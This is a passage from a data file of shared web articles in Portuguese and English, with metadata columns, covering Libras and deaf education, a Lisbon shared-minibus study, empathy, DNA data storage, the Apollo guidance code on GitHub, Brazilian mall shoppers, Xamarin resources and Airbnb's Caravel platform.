1974, capaz de transcrever línguas de sinais do mesmo modo que o Alfabeto Fonético Internacional é capaz em relação as línguas faladas. Existem, inclusive, títulos de livros infantis que empregam tanto o português, quanto o SignWriting, além de recontar histórias clássicas a partir de personagens surdos como é o caso de "" Rapunzel Surda "" e "" Cinderela Surda "". Libras e aprendizado do português O educador Paulo Freire já disse que a ""leitura do mundo precede a leitura da palavra"". Como ensinar uma língua oral-auditiva para uma pessoa que não escuta som algum? É bastante improvável que o aprendizado e a comunicação ocorram satisfatoriamente. Ao contrário do que muito já se defendeu, o aprendizado da Libras é fundamental para o posterior aprendizado do português, que é considerado uma segunda língua para a pessoa surda. Enfim, é importante entender: o aprendizado da Libras não prejudica o aprendizado do Português. Pessoas surdas possuem níveis diferentes de compreensão do português escrito, algumas delas com dificuldades que podem inviabilizar o entendimento e interpretação de um texto. Por isso, nem sempre é suficiente incluir um texto escrito para promover acessibilidade para surdos. Estas dificuldades em muito se relacionam com o emprego de metodologias de ensino inadequadas e ineficientes e que, na maior parte dos casos, excluem a língua de sinais e os recursos visuais e pedagógicos necessários. De qualquer maneira, o uso de legendas são importantes, ampliam a acessibilidade a pelo menos parte da comunidade surda. O projeto "" Videoteca - Cinema Nacional Legendado "", patrocinado pela Petrobrás e realizado pela Associação de Reabilitação e Pesquisa Fonoaudiológica (ARPEF) , por exemplo, foi responsável pela legendagem de 60 filmes nacionais, utilizando closed caption, e distribuição gratuita de kits a 100 entidades filiadas à Federação Nacional de Educação e Integração dos Surdos (FENEIS) . O folder do projeto explica que, além do ganho cultural para a comunidade surda, os filmes legendados auxiliam na aquisição e enriquecimento da língua escrita. Algumas pessoas surdas são capazes de oralizar palavras ou realizar leitura labial, mas não é uma habilidade recorrente, já que comumente as condições sociais e culturais não contribuem para este processo. Outra curiosidade é que a Libras, embora tenha sofrido alguma influência do português (afinal, são línguas em contato), tem sua origem na Língua de Sinais Francesa. É que a primeira instituição voltada à educação de surdos no Brasil surgiu em 1857 e teve como professor o conde francês e surdo Ernest Huet . Por que línguas de sinais são tão importantes para pessoas surdas? Enquanto a pessoa cega está afastada de um mundo de imagens, devido às barreiras de comunicação, a surda está frequentemente distante de outras pessoas, muitas vezes da própria família. A comunicação é um dos processos mais importantes no nosso desenvolvimento. É a comunicação que nos oferece a possibilidade de expressão, proximidade, compreensão, ensino, aprendizado, identificação, afeto, dá-se enfim, sentido a própria existência. A língua de sinais é considerada a língua materna de uma pessoa surda, já que é a primeira língua que ela aprende, o que significa que o aprendizado ocorrerá naturalmente havendo condições pra isso. Uma pessoa surda se apropria de significados visualmente e línguas de sinais são adequadas a esta forma de apreensão do mundo. É também sua língua nativa, já que gera identificação com uma determinada cultura ou comunidade. Por isso, é comum pessoas surdas participarem de associações, grupos de igreja, dentre outras organizações nas quais a língua de sinais esteja presente e onde podem encontrar surdos e surdas, compartilhar suas vidas, trocar conhecimentos e informações que outros lugares não lhes oferecem. São grupos frequentados também por ouvintes (pessoas não surdas): tradutores, intérpretes e pessoas interessadas em estabelecer contato direto com a comunidade surda, a fim de aprender e aperfeiçoar a fluência na língua de sinais. Por isso, é fundamental considerar a Libras em todas as etapas de aprendizado e situações de comunicação envolvendo pessoas surdas. Susan Dupor , artista surda, frequentemente representa em seus quadros muitas mãos em referência a importância que a língua de sinais tem para pessoas surdas. Susan nasceu surda, vive em Lake Geneva, no estado de Wisconsin, nos Estados Unidos, onde mantém seu estúdio de pintura e leciona a disciplina de Artes na Wisconsin School for the Deaf . Pessoas surdas podem fazer coisas incríveis Bem, isso ocorre da mesma forma que funciona pra quem escuta. Se houver oportunidades e condições adequadas, pessoas são capazes de realizar feitos incríveis. Como explica o antropólogo Roque Laraia de Barros no livro "" Cultura: um conceito antropológico "", não é suficiente ""a natureza criar indivíduos altamente inteligentes, isto ela faz com frequência, mas é necessário que coloque ao alcance desses indivíduos o material que lhes permita exercer a sua criatividade de uma maneira revolucionária"". Talvez um exemplo que impressiona seja o de Helen Keller que nasceu surda e cega, mas com o auxílio de sua professora, Anne Sullivan, encontrou as condições de compreender e se expressar no mundo. Helen Keller escreveu livros como ""A história da minha vida"", foi ativista, pesquisadora, conferencista e viajou pelo mundo defendendo os direitos de pessoas deficientes. O filme ""O milagre de Anne Sullivan"", que estreou em 1962, conta parte da sua surpreendente história. A minha experiência Meu envolvimento com a Libras e a surdez é intenso, pois eu tenho um irmão surdo que se comunica exclusivamente pela Libras, o Dudu. Em 2010 decidimos preparar um presente de aniversário especial para o meu pai: um vídeo ensinando alguns sinais em Libras . Que tal aprender? publicado em 09 de Janeiro de 2014, 22:01",pt
1468066249,CONTENT SHARED,5447580952505296338,5206835909720479405,4793580171913544619,,,,HTML,http://m.folha.uol.com.br/cotidiano/2016/07/1789128-uber-do-onibus-derruba-custo-e-acaba-com-engarrafamento-aponta-estudo.shtml,"'Uber do ônibus' derruba custo e acaba com engarrafamento, aponta estudo","Marivaldo Oliveira/Codigo19/Folhapress Avenida 23 de Maio engarrafada, em São Paulo Trocar o uso de carros particulares e táxis pelo 'Uber do ônibus' poderia acabar com engarrafamentos, reduzir os custos de transportes em 55% e diminuir o tempo de viagem de quem mora em áreas periféricas. É o que conclui estudo sobre como seria a cidade de Lisboa (Portugal) com uso de veículos coletivos compartilhados, divulgado nesta quarta-feira (6) pelo ITF (Internacional Transport Forum), órgão da OCDE (Organização para Cooperação e Desenvolvimento Econômico) para o setor de transporte. O 'Uber do ônibus' seriam veículos com 8 lugares e 16 lugares acionados por smartphones, semelhante ao sistema utilizado pelo Uber e outros aplicativos de compartilhamento. O estudo é o prosseguimento de trabalho realizado dois anos atrás que testou sistemas de compartilhamento de carros particulares, mostrando que eles podem ser danosos para cidades sem sistema de transporte de alta capacidade . Os pesquisadores José Viegas e Luiz Martinez simularam as 1,1 milhão de viagens/dia na cidade de 550 mil habitantes comparando o padrão atual -em que 50% delas são feitas em carros, motos e táxis; 21% a pé; e o restante em transporte público- com esse novo sistema com veículos coletivos compartilhados. No cenário mais otimista estudado, a cidade teria apenas esse sistema de coletivos compartilhados e veículos de transportes de trilhos (metrô e trem), sem uso de carros. A estimativa é que seriam necessários o dobro do número de táxis em circulação hoje e o sêxtuplo do número de ônibus da cidade para dar vazão a toda a demanda. Os trens e metrôs continuariam em funcionamento e seriam mais usados que atualmente. Segundo o pesquisador, os resultados apontam para significativas reduções de custos, que na simulação sem carros particulares circulando poderia fazer com que um gasto de 10 euros semanais, por exemplo, pudessem cair para 3,9 euros. Mesmo num cenário com a cidade ainda utilizando com 60% dos carros particulares atuais, os custos cairiam 55%. A quantidade de veículos por quilômetro nas horas pico, quando em geral há engarrafamentos, seria um terço menor e as cidades poderiam deixar 97% da área hoje usada para estacionar carros livre para outros usos. Os resultados de engarrafamento e redução de área de estacionamento também são melhores que os atuais para a simulação com 60% do uso de carro privado, mas nesse percentual os ganhos deixam de ser significativos para justificar a mudança, segundo os autores. ""Projetamos o dia depois do big bang"", brincou José Viegas, que é também presidente do ITF, em entrevista após a divulgação do trabalho. BIG BANG Segundo ele, o cenário de aumento de custos de transportes e necessidade de redução de gastos de governos com subsídios a transportes tende a forçar a necessidade de novas soluções para o setor. A cidade de São Paulo já gasta R$ 2 bilhões por ano com subsídio para manter o preço das passagens nos níveis atuais , sem repassar todo custo aos passageiros. Em todo o país, o sistema de transporte por ônibus está em crise , com empresas quebrando, greves de motoristas, envelhecimento da frota e outros problemas ocasionados pela queda do número de usuários nos últimos anos. Segundo Viegas, outras cinco cidades na Irlanda, Finlândia, Nova Zelândia e Austrália já estão acertando fazer estudos semelhantes. Para ele, é possível que trabalhos sejam feitos também em grandes cidades do mundo. O que vai avaliar toda a região metropolitana de Lisboa, com 3 milhões de habitantes, está em andamento. Na análise do autor, acabar com o uso de carros particulares em grandes cidades será um desafio, mas já começa a ser algo mais próximo da realidade. Para ele, a questão passa a ser como fazer a transição. O órgão trabalha em estudos para restringir o uso em dois dias da semana até chegar a todos os dias. Viegas alertou ainda que esse cenário deve começar a ser considerado pelos planejadores urbanos já que investimentos em grandes obras poderão dar os mesmo resultados que mais investimento em tecnologia de compartilhamento, muito mais baratos. DESIGUALDADE Viegas lembrou o principal resultado alcançado no estudo foi o que os pesquisadores chamaram de redução da desigualdade nos transportes. O trabalho mostra que, para a região da periferia de Lisboa, mais de 75% dos usuários ficam mais de 30 minutos por viagem no transporte ao trabalho. Para quem mora nas áreas centrais, mais caras e menos acessíveis aos mais pobres, menos de 25% das pessoas gastam esse tempo no transporte. O uso dos ônibus compartilhados faz com que, em praticamente toda a cidade, mais de 75% dos moradores cheguem ao trabalho em menos de 30 minutos, aponta o estudo. O mesmo ganho ocorreria para o acesso a escolas e hospitais. Na média, um índice criado pelos pesquisadores reduz em 90% a desigualdade na utilização do transporte com o sistema compartilhado. O estudo afirma que as tecnologias de compartilhamento já poderiam hoje ser usadas para melhorar a qualidade de vida e reduzir as desigualdades causadas pelos transportes. E alerta que os governos devem supervisionar seu uso para evitar situações de abusos de mercado. - Simulação sobre como ficaria Lisboa sem carros, com um sistema de mini vans e min ônibus apontam fim dos engarrafamentos e redução de custos superiores a 50% COMO FOI FEITA A PESQUISA Foi simulado o transporte em Lisboa, de 550 mil habitantes, com o uso do sistema de metrôs e trêns e dois tipos de veículos compartilhados (8 e 16 lugares) Os veículos seriam acionados por smartphones e parariam em cerca de 320 pontos espalhados pela cidade, com espera entre 5 e 10 minutos Foram analisadas as 1,1 milhão de viagens/diae, comparando parâmetros atuais de tempo, custo, disponibilidade etc com os gerados pelo uso do sistema RESULTADOS (% em relação ao padrão atual) 1. Para restrição total ao uso de carros Custos: 39% (se uma pessoa gasta 10 euros, passaria a gastar 3,8 euros) Veículo por km na hora pico: 63% (essa redução seria, segundo o estudo, suficiente para acabar com os congestionamentos) Emissões de CO2: 66% Espaço livre: 97% (seria necessário apenas 3% do que se usa hoje para abrigar carros na cidade) 2. Para 20% de uso de carros em relação ao atual Custos: 41% Veículo por km na hora pico: 75% Emissões de CO2: 75% Espaço livre: 77% (seria necessário apenas 3% do que se usa hoje para abrigar carros na cidade) 3. Para 60% de uso de carros em relação ao atual Custos: 45% Veículo por km na hora pico: 98% Emissões de CO2: 97% Espaço livre: 37% (seria necessário apenas 3% do que se usa hoje para abrigar carros na cidade) REDUÇÃO DA DESIGUALDADE Outro dado pesquisado foi sobre o tempo em transporte. A cidade foi separada por áreas, analisadas sob critério de quantos conseguem chegar em menos de 30 minutos no trabalho Na configuração atual, em quase toda a periferia de Lisboa, menos de 25% dos moradores chegam em 30 minutos ao trabalho Com a nova configuração, praticamente toda a cidade conseguiria que 75% dos moradores chegassem ao trabalho em até 30 minutos Fonte : ITF (Internacional Transport Forum) da OCDE",pt
1468149419,CONTENT SHARED,5227822864949117283,-2979537012405607453,6132888347256028720,,,,HTML,http://expandedconsciousness.com/2014/12/10/seeing-silver-lining-vs-understanding-problem-difference-sympathy-empathy/,The Difference Between Sympathy And Empathy - Expanded Consciousness,"This is a beautifully animated video acting out a well articulated section of Dr Brené Brown's lecture on the difference between an empathetic and a sympathetic response from the RSA. The video neatly wraps up a difficult subject to pinpoint the consequences of both responses . Empathy is the ability to place yourself in someone else's shoes and understand relate as best as you can to how that person feels in the situation. The trait of being able to express this feeling and understanding it is the second tier of empathy. Another response to hearing another person's problem is to express sympathy. Sympathy is the ability to express 'culturally acceptable' condolences to anothers plight. A lot of the time, this includes pointing out a silver lining in the situation but it's not always a helpful thing to do. Empathy is harder to accomplish for many reasons. We not only have to actively listen to another person's problem without judgement but then be honest with ourselves and the the other person about our feelings as a listener. That connection builds bridges that enforce trust and understanding that are healthy and positive for both people. At a later time it may be appropriate to look for a solution. Nothing in the world makes me feel better than when trusted family or friends understand where I'm standing. It makes me feel better because it verifies where I actually stand, I frequently get lost in my life. Next time someone opens up to you about a problem, try to listen to what they are saying. They are reaching out for help and full acknowledgement is the first step. I know its hard to willingly put yourself through more unnecessary pain but it in doing so you will both feel better. Identifying similar feeling in similar situations strengthens healthy bonds for not only the two of you but the community at whole. We all suffer at some point and by talking it out we can genuinely help each other through hardships.",en
1468161423,CONTENT SHARED,2424381466524517235,-7456488753754080246,-7751633525621681484,,,,HTML,https://blogs.microsoft.com/next/2016/07/07/microsoft-university-washington-researchers-set-record-dna-storage/,Microsoft and University of Washington researchers set record for DNA storage - Next at Microsoft,"Researchers at Microsoft and the University of Washington have reached an early but important milestone in DNA storage by storing a record 200 megabytes of data on the molecular strands. The impressive part is not just how much data they were able to encode onto synthetic DNA and then decode. It's also the space they were able to store it in. Once encoded, the data occupied a spot in a test tube ""much smaller than the tip of a pencil,"" said Douglas Carmean , the partner architect at Microsoft overseeing the project. Think of the amount of data in a big data center compressed into a few sugar cubes. Or all the publicly accessible data on the Internet slipped into a shoebox. That is the promise of DNA storage - once scientists are able to scale the technology and overcome a series of technical hurdles. The Microsoft-UW team stored digital versions of works of art (including a high-definition video by the band OK Go! ), the Universal Declaration of Human Rights in more than 100 languages, the top 100 books of Project Guttenberg and the nonprofit Crop Trust's seed database on DNA strands. Demand for data storage is growing exponentially, and the capacity of existing storage media is not keeping pace. That's making it hard for organizations that need to store a lot of data - such as hospitals with vast databases of patient data or companies with lots of video footage - to keep up. And it means information is being lost, and the problem will only worsen without a new solution. DNA could be the answer. It has several advantages as a storage medium. It's compact, durable - capable of lasting for a very long time if kept in good conditions (DNA from woolly mammoths was recovered several thousand years after they went extinct, for instance) - and will always be current, the researchers believe. ""As long as there is DNA-based life on the planet, we'll be interested in reading it,"" said Karin Strauss , the principal Microsoft researcher on the project. ""So it's eternally relevant."" This explains why the Microsoft-UW team is just one of a number of research groups around the globe pursuing the potential of DNA as a vast digital attic. The researchers acknowledge they have a long way to go. Luis Henrique Ceze , a UW associate professor of computer science and engineering and the university's principal researcher on the project, said the biotechnology industry made big advances in both ""synthesizing"" (encoding) and ""sequencing"" (decoding) data in recent years. Even so, he said, the team still has a long way to go to make it viable as an archival technology. But the researchers are upbeat. They note that their diverse team of computer scientists, computer architects and molecular biologists already has increased storage capacity a thousand times in the last year. And they believe they can make big advances in speed by applying computer science principles like error correction to the process. Carmean, who was involved in development of Intel's microprocessor architecture beginning in 1989, puts it this way: ""It's one of those serendipitous partnerships where a strong understanding of processors and computation married with molecular biology experts has the potential of producing major breakthroughs."" To get an idea of how the Microsoft-UW team does its work, flash back to high school biology and recall that DNA - or deoxyribonucleic acid - is a molecule that contains the biological instructions used in the growth, development, functioning and reproduction of all known living organisms. ""DNA is an amazing information storage molecule that encodes data about how a living system works. We're repurposing that capacity to store digital data - pictures, videos, documents,"" said Ceze, who is conducting research in the team's Molecular Information Systems Lab (MISL) , which is housed in a basement on the University of Washington campus. ""This is one important example of the potential of borrowing from nature to build better computer systems."" Storing digital data on DNA works like this: First the data is translated from 1s and 0s into the ""letters"" of the four nucleotide bases of a DNA strand - (A) denine, ( C) ytosine, (G) uanine and (T) hymine. Then they have vendor Twist Bioscience ""translate those letters, which are still in electronic form, into the molecules themselves, and send them back,"" Strauss said. ""It's essentially a test tube and you can barely see what's in it. It looks like a little bit of salt was dried in the bottom."" Reading the data uses a biotech tweak to random access memory (RAM), another concept borrowed from computer science. The team uses polymerase chain reaction (PCR), a technique that molecular biologists use routinely to manipulate DNA, to multiply or ""amplify"" the strands it wants to recover. Once they've sharply increased the concentration of the desired snippets, they take a sample, sequence or decode the DNA and then run error correction computations. The lab tour complete, one question needed asking: Why an OK Go video ? ""We like that a lot because there are many parallels with the work,"" Strauss said with a laugh. ""They're very innovative and are bringing different things from different areas into their field and we feel we are doing something very similar."" Related: Learn more about Microsoft's DNA storage project Read the University of Washington story and Q&A on the project Read the Twist Bioscience press release Follow Karin Strauss on Twitter New York Times: Data storage on DNA can keep it safe for centuries Mike Brunker is a freelance writer and editor. Follow him .",en
1468173252,CONTENT SHARED,8828175072897143018,-3508202263850468997,5963415954962394458,,,,HTML,http://qz.com/726338/the-code-that-took-america-to-the-moon-was-just-published-to-github-and-its-like-a-1960s-time-capsule/,"The code that took America to the moon was just published to GitHub, and it's like a 1960s time capsule","When programmers at the MIT Instrumentation Laboratory set out to develop the flight software for the Apollo 11 space program in the mid-1960s, the necessary technology did not exist. They had to invent it. They came up with a new way to store computer programs, called ""rope memory,"" and created a special version of the assembly programming language. Assembly itself is obscure to many of today's programmers-it's very difficult to read, intended to be easily understood by computers, not humans. For the Apollo Guidance Computer (AGC), MIT programmers wrote thousands of lines of that esoteric code. Here's a very 1960s data visualization of just how much code they wrote-this is Margaret Hamilton, director of software engineering for the project, standing next to a stack of paper containing the software: The AGC code has been available to the public for quite a while-it was first uploaded by tech researcher Ron Burkey in 2003, after he'd transcribed it from scanned images of the original hardcopies MIT had put online. That is, he manually typed out each line, one by one. ""It was scanned by a airplane pilot named Gary Neff in Colorado,"" Burkey said in an email. ""MIT got hold of the scans and put them online in the form of page images, which unfortunately had been mutilated in the process to the point of being unreadable in places."" Burkey reconstructed the unreadable parts, he said, using his engineering skills to fill in the blanks. ""Quite a bit later, I managed to get some replacement scans from Gary Neff for the unreadable parts and fortunately found out that the parts I filled in were 100% correct!"" he said. The effort made the code available to any researcher or hobbyist who wanted to explore it. Burkey himself even used the software to create a simulation of the AGC : As enormous and successful as Burkey's project has been, however, the code itself remained somewhat obscure to many of today's software developers. That was until last Thursday (July 7), when former NASA intern Chris Garry uploaded the software in its entirety to GitHub, the code-sharing site where millions of programmers hang out these days. Within hours, coders began dissecting the software, particularly looking at the code comments the AGC's original programmers had written. In programming, comments are plain-English descriptions of what task is being performed at a given point. But as the always-sharp joke detectives in Reddit's r/ProgrammerHumor section found, many of the comments in the AGC code go beyond boring explanations of the software itself. They're full of light-hearted jokes and messages, and very 1960s references. One of the source code files, for example, is called BURN_BABY_BURN--MASTER_IGNITION_ROUTINE , and the opening comments explain why: About 900 lines into that subroutine , a reader can see the playfulness of the original programming team come through, in the first and last comments in this block of code: In the file called LUNAR_LANDING_GUIDANCE_EQUATIONS.s , it appears that two lines of code meant to be temporary ended up being permanent, against the hopes of one programmer: In the same file, there's also code that appears to instruct an astronaut to ""crank the silly thing around."" ""That code is all about positioning the antenna for the LR (landing radar),"" Burkey explained. ""I presume that it's displaying a code to warn the astronaut to reposition it."" And in the PINBALL_GAME_BUTTONS_AND_LIGHTS.s file, which is described as ""the keyboard and display system program ... exchanged between the AGC and the computer operator,"" there's a peculiar Shakespeare quote : This is likely a reference to the AGC programming language itself, as one Reddit user pointed out . The language used predetermined ""nouns"" and ""verbs"" to execute operations. The verb 37 , for example, means ""Run program,"" while the noun 33 means ""Time to ignition."" Now that the code is on GitHub, programmers can actually suggest changes and file issues. And, of course, they have . One developer submitted an issue saying, ""A customer has had a fairly serious problem with stirring the cryogenic tanks with a circuit fault present,"" and listed steps to reproduce the problem. ""Be aware that this may be hazardous to the tester attempting it,"" he added. The responses flooded in. One user suggested maybe the issue was not with the code, but something else: Another took it back to the basics : And one developer suggested perhaps the software simply needs to be updated :",en
1468195247,CONTENT SHARED,-170687954910264210,-1616903969205976623,-2163621331757589863,,,,HTML,http://exame.abril.com.br/negocios/noticias/as-compras-e-os-habitos-dos-brasileiros-no-shopping,As compras e os hábitos dos brasileiros no shopping | EXAME.com,"São Paulo -Os brasileiros estão passando mais tempo no shopping center e gastando mais. Em 2016, o frequentador ficou 76 minutos, em média, no shopping, enquanto em 2012, o tempo médio era de 73 minutos. O tíquete médio aumentou de dois anos para cá, de R$ 196,81 em 2012 contra R$ 243,82 este ano, em valores ajustados pelo IPCA. Os dados constam da pesquisa bianual da Abrasce (Associação Brasileira de Shopping Centers) em parceria com a GFK, empresa alemã de estudos de mercado. Foram realizadas 3.327 entrevistas em Brasília, Belém, Salvador, Porto Alegre, Belo Horizonte, Rio de Janeiro, Ribeirão Preto e São Paulo. Segundo a pesquisa, a principal razão para o aumento do tíquete e das visitas pode ser, ironicamente, a crise econômica. Com a alta do dólar, os consumidores de maior poder aquisitivo e que costumavam realizar compras no exterior deixaram de viajar e passaram a comprar nos shoppings, analisa a pesquisa. Esse público costuma gastar mais que duas vezes o valor gasto pela classe C. O que eles buscam Fazer compras é o maior motivo para visitar o shopping center, citado por 45% dos entrevistados. Em 2012, no entanto, a proporção era de 47%. Ainda que nem todos os que visitam o centro saiam com alguma sacola nova, a proporção de pessoas que fazem alguma compra aumentou. Cerca de 59% fizeram alguma compra em sua última visita ao shopping e, em 2012, no entanto, essa fatia era de 48%. Cerca de 72% dos frequentadores foi ao shopping buscando uma loja específica. A Renner motivou 9% das visitas, a C&A 7% e a Saraiva 4%. Riachuelo, Centauro e Marisa também atraíram os consumidores. Em 2012, Lojas Americanas e Carrefour eram mais atraentes para 8% e 2% dos clientes, mas não apareceram no ranking deste ano. O cinema ficou mais popular e se tornou um dos principais motivos para 7% dos visitantes em 2016, contra 4% quatro anos atrás, segundo levantamento da Abrasce. A maioria dos entrevistados, 61%, vai ao cinema pelo menos uma vez por mês e, desses, 12% vão assistir a algum filme semanalmente. Caixa eletrônico, lotérica e agência bancária foram serviços usados por grande parte dos clientes, apontou a pesquisa. A visita à praça de alimentação não poderia deixar de faltar: 41% dos visitantes do shopping parou para comer algo. Mais novos e solteiros Os frequentadores dos centros de compra no Brasil estão cada vez mais novos. A presença de menores de 19 anos cresceu de 10% a 18% de 2012 a 2016. Esse também é o público que passa mais tempo no local. São 81 minutos por visita, contra uma média de 76 minutos. Em 2012, a média total era de 73 minutos. Enquanto mais adolescentes vão aos shoppings, o público com mais de 45 anos caiu, de 26% em 2012 para 20% em 2016. Os solteiros também estão indo mais ao shopping. Eles representam 63% dos visitantes, contra 49% registrado em 2012. Esse público também visita mais o shopping, com cerca de 7,56 idas por mês. A classe B corresponde à maioria dos frequentadores: eles são 50%. A classe A corresponde a 21% e a classe C, 29%. Em Salvador, a classe C corresponde à 46% dos visitantes. Já São Paulo tem os frequentadores mais ricos: 33% estão na classe A. As mulheres representam pela maior parte do público, 59%. A cidade com a maior proporção de mulheres é Belém: em 2016, elas eram 68% dos frequentadores dos shoppings. Apenas Ribeirão Preto, entre as cidades pesquisadas, teve um público masculino maior do que o feminino: eles eram 56% dos entrevistados e elas, 44%. Ainda que as mulheres sejam maioria dos visitantes, os homens têm uma frequência maior. Eles vão, em média, 8,11 vezes no shopping em um mês e as mulheres fazem 6,81 visitas por mês. São Paulo - No futuro, as lojas usarão espelhos inteligentes para sugerir os melhores produtos e as empresas pedirão ajuda de consumidores para criar serviços melhores. É o que aponta a pesquisa ""Estágio da Aplicação nas Empresas Brasileiras das Principais Tendências de Relacionamento com Clientes e Consumidores"". A consultoria DOM Strategy Partners conversou com 247 varejistas de 20 setores, como hipermercados, bancos e telefonia, para entender qual será a cara do varejo no futuro. Ainda que a adoção das brasileiras seja baixa, a pesquisa destacou grandes exemplos nacionais, como o Pão de Açúcar, Bradesco e Diletto, que estão em linha com as principais tendências globais. Para Daniel Domeneghetti, especialista da consultoria, as empresas precisam se adequar às mudanças no mercado, sem correr o risco de perder o foco. ""Se não inovarem , elas não existirão em 10 anos"", afirma. Confira nas imagens as 14 marcas do varejo do futuro.",pt
1468203126,CONTENT SHARED,-6074661548047199165,8250502084456448386,-8058367513433750783,,,,HTML,http://xamarinbr.azurewebsites.net/referencias-para-estudo-xamarin/,Referências para Estudo - Xamarin,"Olá Amigos, Recebi alguns e-mails pedindo referências para estudo de Xamarin e C#. Segue! O Microsoft Virtual Academy é um espaço sensacional pra quem quer aprender. Tem muitos cursos de qualidade, e vários em português. Separei dois: Introdução ao C# - Curso OnLine (Português) : Este é destinado pra quem quer aprender um pouco mais sobre C#. Se você vem de outra plataforma (Java ou ObjC), esse curso vai ser muito útil. Dominar C# é fundamental para que você consiga desenvolver em Xamarin. Essa linguagem é muito poderosa e facilita muito o nosso dia dia. Introdução ao Xamarin - Curso OnLine (Português) : Outro curso bem legal, que conta com Alexandre Chohfi como um dos instrutores. O Chohfi é referência em MonoGame e Xamarin. Dispensa apresentações... O outro instrutor é este que vos escreve! :) Monkey Nights - Hangouts periódicos sobre Xamarin (Português) O Monkey Nights é um Webcast e Comunidade formado por um grupo de apaixonados por tecnologia que utilizam a plataforma Xamarin. Participe!! Os MonkeyNighters: Creating Mobile Apps with Xamarin.Forms Book Preview 2 - Livro (Inglês) : Este livro ainda está sendo escrito, mas já conta com um conteúdo mais do que obrigatório pra quem quer criar apps com Xamarin. E o melhor, é de graça! Inclusive, seria ótimo tê-lo em português, não é? Quem sabe... Xamarin Forms Labs - Código Fonte (Inglês) : Xamarin Forms Labs é um projeto open source que tem como objetivo fornecer um conjunto de controles e helpers para trabalhar com Xamarin Forms. Esse projeto é uma fonte excepcional para estudo. Tenho investido muito tempo lendo, estudando, e usando os componentes deles. É obrigatório pra quem quer aprender Xamarin. Jesse Liberty - Blog (Inglês) : Jesse Liberty é uma das figurinhas mais carimbadas quando falamos sobre WPF. Tem escrito muita coisa útil sobre Xamarin. James Montemagno - Blog (Inglês) - James Montemagno trabalha na Xamarin e sempre aparece dando palestras ao lado do Miguel de Icaza. Só! E ae, faltou mais alguma referência? Com certeza sim! Deixe um comentário no post que eu atualizarei! Angelo Belchior é Microsoft Windows Platform Development MVP Para ficar por dentro das novidades assine meu canal no Youtube: Conheça a Comunidade Monkey Nights e fique por dentro de tudo que rola no mundo Xamarin! Hangouts quinzenais, sempre as 20hs! Utilize os comentários para enviar suas perguntas ou pelo twitter utilizando a hashtag #MonkeyNightsDevs Facebook Twitter Youtube Sala do Monkey Nights no Jabber Podcast no Itunes Os Monkey Nighters Alexandre Chohfi / / @alexandrechohfi Angelo Belchior / / @angelobelchior Paulo Ortins / / @pauloortins Ricardo Dorta / / @dortaway William Rodriguez / / @williamsrodz",pt
1468238107,CONTENT SHARED,-3964583697784528168,-8020832670974472349,3878365027626873182,,,,HTML,https://medium.com/airbnb-engineering/caravel-airbnb-s-data-exploration-platform-15a72aa610e5,Caravel: Airbnb's data exploration platform - Airbnb Engineering & Data Science,"At Airbnb, we love data, and we like to think that analytics belongs everywhere. For us to be data-driven, we need data to be fluid, fast flowing, and crystal clear. As a vector for data exploration, discovery, and collaborative analytics, we have built and are now open sourcing, a data exploration and dashboarding platform named Caravel . Caravel allows data exploration through rich visualizations while performing fast and intuitive ""slicing and dicing"" against just about any dataset. Data explorers can easily travel through multi-dimensional datasets while creating and sharing ""slices"", and assemble them in interactive dashboards . Data exploration at the speed of thought ""Data visualization is effective because it shifts the balance between perception and cognition to take fuller advantage of the brain's abilities."" -  Stephen Few It takes very little time, maybe 10 to 30 seconds of delays, to break someone's cognitive flow. Caravel keeps your thinking loop spinning by providing a fluid query interface and enforces fast query times. Slicing, dicing, drilling down, and pivoting across visualizations allow users to explore multi-dimensional data spaces effectively. The codeless approach to data navigation allows everyone on board, democratizing access to data. On one side of the spectrum, users that are less technical find an easy interface to query data. On the other end of that spectrum, advanced users enjoy gaining velocity and the ease of sharing the content they create. Data scientists, engineers and other data wizards can still use Tableau, R, Jupyter, Airpal , Excel, and other means to interact with data, but Caravel is gaining mind share internally as a frictionless and intuitive vehicle for sharing data and ideas. Features A rich and extensible set of visualizations including basic charts as well as sunburst, parallel coordinates, heatmap, force directed layouts, world map, pivot table, word cloud, Sankey diagram, and more! Create and share interactive dashboards as collections of visualizations Flexible authentication and authorization , with support for LDAP, OpenID, OAuth, Remote User, and more. Granular permissions and role management allow administrators to define very clearly who gets access to which feature and/or which dataset A thin semantic layer that defines how datasets should be exposed, and allowing to enrich the content by adding SQL expressions and metrics Connectivity to most SQL-speaking databases, as well as support for querying Druid.io for fast realtime analytics A smooth learning curve : users can be trained in minutes and get value instantaneously Flexible data caching , with cascading timeout parameters by report, table and database to relieve your databases from heavy load and to make important dashboards load quickly Customizable and hackable ! You can brand and skin Caravel with your own bootstrap theme, create CSS templates for your dashboards and modify the controls for specific visualizations Connectivity Caravel should work just as well in your environment as it does in ours. The query layer was written using SQLAlchemy , a SQL toolkit that allows authoring queries that can be translated to most SQL dialects out there. Beyond the SQL world, Caravel is designed to harness the power of Druid.io . Druid is an open source, fast, column-oriented, realtime, distributed data store. Coupling the two together accelerates analysis cycles by taking delays out of the equation. A thin semantic layer Caravel allows you to manage a thin layer to enrich your datasets' metadata. This simple layer defines how your dataset is exposed to the user and is composed of: Descriptions, definitions, and verbose names for your dimensions and metrics that provide context while exploring datasets Calculated fields and metrics. For instance, ratios, distinct counts, and anything else that can be expressed through SQL Simple parameters that define how fields are exposed in the UI Test Drive We've made taking Caravel for a test drive very easy. After the simple installation process, you'll get Caravel loaded with a nice set of dashboards, charts, and datasets that you can explore and interact with. The next logical step is to connect to your local databases and start visualizing them. Screenshots A bright future Caravel started as a hackathon project less than a year ago. While the project is already solid, it's still young and gaining momentum. Look forward to more interactivity in dashboards, support for a growing number of visualizations, a set of training videos , more social features like tags, comments, usage information, chart annotations, and much more! We're planning on releasing the data visualizations and controls exposed in Caravel as reusable React components. This modular approach will make these building blocks available to application developers. At Airbnb, we have many use cases for rich and interactive visualizations as part of of internal applications; for example, our A/B testing framework, anomaly detection framework and user session explorer. It would be great to share the same components across all of these applications. Join the community and find pointers to resources on Caravel's Github repository ! Check out all of our open source projects over at airbnb.io and follow us on Twitter: @AirbnbEng + @AirbnbData",en
